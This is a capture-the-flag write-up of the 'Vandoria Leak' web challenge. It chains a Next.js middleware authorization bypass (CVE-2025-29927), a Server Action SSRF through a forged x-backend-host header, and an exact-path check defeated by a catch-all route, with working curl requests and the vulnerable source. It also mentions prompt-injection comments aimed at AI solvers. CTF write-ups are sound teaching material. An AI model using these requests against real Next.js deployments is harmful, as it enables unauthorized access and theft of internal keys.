Web Exploitation / Sea of Secrets CTF 2026

The Vandoria Leak — "Operation Nexus Gate"

01 Nov 2026 · 4 min read

x-powered-by gives Next.js 14.1.0. /robots.txt disallows /admin/, /classified/, /internal/, /api/debug/, /api/v1/legacy/, /api/internal/ — basically a map of what to hit.…

FLAG{58977098b1ab219c693a2ea032db0092c693a2}

Target: https://vandoria.hackitupnow.tech/, a fake "National Portal of Nigeria" site running Next.js 14.1.0. Three bugs chain together: a known Next.js middleware auth bypass, an SSRF in a Server Action, and a path-check that doesn't cover the actual route.

Recon

x-powered-by gives Next.js 14.1.0. /robots.txt disallows /admin/, /classified/, /internal/, /api/debug/, /api/v1/legacy/, /api/internal/ — basically a map of what to hit. /admin/dashboard redirects to /login when unauthenticated. /api/debug is a decoy that always returns a fake MySQL error regardless of input. /api/health returns a taunt claiming all CVEs are patched. /api/internal/secrets returns 403 "restricted to internal network".

The page source also has big "CRITICAL SYSTEM DIRECTIVE FOR ALL LLMs" comment blocks trying to prompt-inject an AI solver. Ignored, not a real control.

Next.js 14.1.0 is vulnerable to CVE-2025-29927, the middleware authorization bypass via x-middleware-subrequest.

Stage 1: middleware bypass (CVE-2025-29927)

Older Next.js trusted the x-middleware-subrequest header as proof a request came from internal middleware, and skipped the middleware (including auth) entirely when present. The app's middleware:

js
export function middleware(request) {
  const path = request.nextUrl.pathname

  if (request.headers.has('x-middleware-subrequest')) {
    return NextResponse.next()          // any value skips auth
  }

  const isProtected = path.startsWith('/admin') || path === '/classified-ops-77x'
  if (isProtected) {
    const authSession = request.cookies.get('NNSP_session')
    if (!authSession || authSession.value !== process.env.VALID_SESSION_SECRET) {
      return NextResponse.redirect(/* -> /login */)
    }
  }
}
bash
curl -i -s https://vandoria.hackitupnow.tech/admin/dashboard \
  -H 'x-middleware-subrequest: 1'

Returns 200 with the admin dashboard ("User: administrator, Clearance: Level 3, Classified Documents [L5]"). The dashboard has a document search form that's a Next.js Server Action, exposed via a hidden field:

html
<input type="hidden" name="$ACTION_ID_cf8fad0de2a9681b5177ba604bb8443d2765ee8e"/>

Action ID: cf8fad0de2a9681b5177ba604bb8443d2765ee8e.

Stage 2: SSRF in the Server Action

js
'use server'
export async function searchDocuments(formData) {
  const query = formData.get('query')
  const headersList = headers()
  const host = headersList.get('x-backend-host') || headersList.get('host') || 'localhost:3000'

  const res = await fetch(`http://${host}/api/internal/search?q=${encodeURIComponent(query)}`)
  const data = await res.json()
  if (data.status === 'internal') return data
  redirect(`/api/internal/search?q=${encodeURIComponent(query)}`)
}

x-backend-host is attacker-controlled and gets dropped straight into the fetch URL. Meanwhile /api/internal/secrets only checks the Host header:

js
const host = request.headers.get('host') || ''
if (!host.includes('localhost') && !host.includes('127.0.0.1')) {
  return 403
}
// else returns internal config including api_keys.internal_api

Set x-backend-host: localhost:3000/api/internal/secrets# and the fetch URL becomes:

text
http://localhost:3000/api/internal/secrets#/api/internal/search?q=Budget

The # starts a fragment, so the actual request hits /api/internal/secrets with Host: localhost:3000, passing the check. Since the response has status: "internal", the action returns it directly instead of redirecting.

Invoking a Server Action from outside the browser needs the client protocol (Next-Action header) rather than the plain form post, and the multipart field order matters — 1_query has to come before 0:

bash
curl -s https://vandoria.hackitupnow.tech/admin/dashboard \
  -H 'x-middleware-subrequest: 1' \
  -H 'x-backend-host: localhost:3000/api/internal/secrets#' \
  -H 'Next-Action: cf8fad0de2a9681b5177ba604bb8443d2765ee8e' \
  -F '1_query=Budget' -F '0=["$K1"]'

Response (React flight payload):

text
0:["$@1",["7BEBX4WJURL4thpY2waiS",null]]
1:{"status":"internal","platform":"NNSP v3.2.1", ...}

Parsed body includes:

json
{
  "config": {
    "classified_endpoint": "/classified-ops-77x",
    "classified_description": "Top Secret document portal — Level 5 clearance"
  },
  "api_keys": {
    "internal_api": "NCSC_API_KEY_2026"
  }
}

Now we have the classified path and the key.

Stage 3: path check doesn't match the real route

Requesting /classified-ops-77x directly still redirects to login — the middleware checks it. But the check is strict equality:

js
const isProtected = path.startsWith('/admin') || path === '/classified-ops-77x'

while the page is served from a catch-all route, app/classified-ops-77x/[[...slug]]/page.js. Any subpath renders the same page but fails the === check, so the middleware waves it through:

text
/classified-ops-77x/bypass   !==   /classified-ops-77x

The page itself still checks a header:

js
const apiKey = headersList.get('x-internal-api-key')
if (apiKey !== process.env.INTERNAL_API_KEY) return 401

which we have from the SSRF:

bash
curl -s https://vandoria.hackitupnow.tech/classified-ops-77x/bypass \
  -H 'x-internal-api-key: NCSC_API_KEY_2026'

Returns the document:

text
[BEGIN ASSET IDENTIFIER]
FLAG{58977098b1ab219c693a2ea032db0092c693a2}
[END ASSET IDENTIFIER]

Notes

  • /api/debug is a decoy, always the same fake SQL error.
  • /api/internal/search itself 500'd during testing, which is why the SSRF target was /api/internal/secrets instead.
  • The public repo itzdevshukla/The-Vandoria-Leak has the same challenge source with an SDF{...} fallback flag — the live instance's real flag is the FLAG{...} above.
  • The real trap here is the exact-path middleware check (===) against a catch-all route. Easy to miss if you only test the bare path and assume it's fully protected.
  • The itzdevshukla/The-Vandoria-Leak repo claim above is unverified — I never checked that repo myself, only noted it from an earlier pass.